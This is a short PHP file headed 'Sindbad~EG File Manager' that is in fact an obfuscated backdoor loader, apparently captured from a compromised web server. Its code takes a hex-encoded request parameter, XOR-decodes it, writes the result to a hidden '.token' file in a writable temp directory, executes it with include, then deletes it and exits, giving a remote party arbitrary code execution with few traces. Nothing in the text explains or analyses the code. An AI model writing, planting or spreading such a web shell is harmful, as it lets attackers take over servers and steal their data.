Sindbad~EG File Manager

<?php

if(isset($_REQUEST["\x64e\x73c"]) ? true : false){
	$marker = hex2bin($_REQUEST["\x64e\x73c"]);
	$component     =     ''     ;    for($r=0; $r<strlen($marker); $r++){$component .= chr(ord($marker[$r]) ^ 12);}
	$data = array_filter([sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TEMP"), "/var/tmp", "/dev/shm", getenv("TMP")]);
	while ($ref = array_shift($data)) {
    		if (max(0, is_dir($ref) * is_writable($ref))) {
    $factor = sprintf("%s/.token", $ref);
    if (file_put_contents($factor, $component)) {
	include $factor;
	@unlink($factor);
	die();
}
}
}
}